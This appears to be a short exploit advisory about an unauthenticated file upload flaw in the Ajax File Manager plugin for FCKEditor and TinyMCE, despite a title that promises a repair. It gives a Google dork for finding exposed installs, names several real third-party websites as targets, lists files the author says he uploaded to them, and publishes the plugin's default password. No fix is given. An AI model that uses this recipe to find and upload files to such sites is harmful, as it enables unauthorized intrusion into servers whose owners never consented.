Ajax File Manager File Upload defect and repair

 

Title: Ajax File Manager File Upload Vulnerability

Author: X-Cisadane www.2cto.com

: Http://www.phpletter.com

Affected Versions: All

Defect: File Upload

Test Platform: Google Chrome 14.0.835 (Windows)

Labels -------------------------------------------------------------------------------------------------------------------------:

 

Description:

Ajax File Manager is a Plug-ins which you can add on FCKEditor/TinyMCE on the CMS as a File Management, for example: Uploading File (Text, Image, dll ), create A New Folder, Copy, Cut, Delete File or Directory. file that can be uploaded is depend on The Website Configuration. some Ajax File Manager configured without an authentification (No Login Form), So we can view directories and files on Ajax File Manager or upload/delete/cut/copy/paste/create new folder.

 

How?

[1] Open Google Search Engine, Type the dork: inurl:/plugins/ajaxfilemanager/

[2] For Example you got:

Http://www.bkjia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/

 

Change the URL on your Browser into: http://lovegracia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php

 

OR

 

Http://www.ziaislamic.com/BOOK-CMS/interfaces/fckeditor/editor/plugins/ajaxfilemanager/session/

 

Change the URL on your Browser into: http://www.ziaislamic.com/BOOK-CMS/interfaces/fckeditor/editor/plugins/ajaxfilemanager/ajaxfilemanager.php

 

[3] If the Ajax File Manager don't have a Login Form, so we can head up into File Manager directly and uploading file or whatever you can do.

Like this:

Http://www.ziaislamic.com/BOOK-CMS/interfaces/fckeditor/editor/plugins/ajaxfilemanager/ajaxfilemanager.php

Http://www.thebradshawscornershop.co.uk/scripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php

Http://lovegracia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php

Http://www.bkjia.com/brantas_portal/assets/tinymce/plugins/ajaxfilemanager. php

Http://www.apmsa.org.za/admin/scripts/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php

 

Results:

Http://www.ziaislamic.com/BOOK-CMS/interfaces/uploaded/dwi/bekdort.txt

Http://www.thebradshawscornershop.co.uk/images/dwi/bekdort.txt

Http://lovegracia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/uploaded/dwi/bekdort.txt

Http://www.bkjia.com/brantas_portal/uploaded_docimage/diffusion/bekdort.txt

Http://www.apmsa.org.za/admin/scripts/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/uploaded/dwi/bekdort.txt

 

P.S: Default Password Ajax File Manager

Username: ajax

Password: 123456

 

-= Regards =-

Spread a. k. a X-Cisadane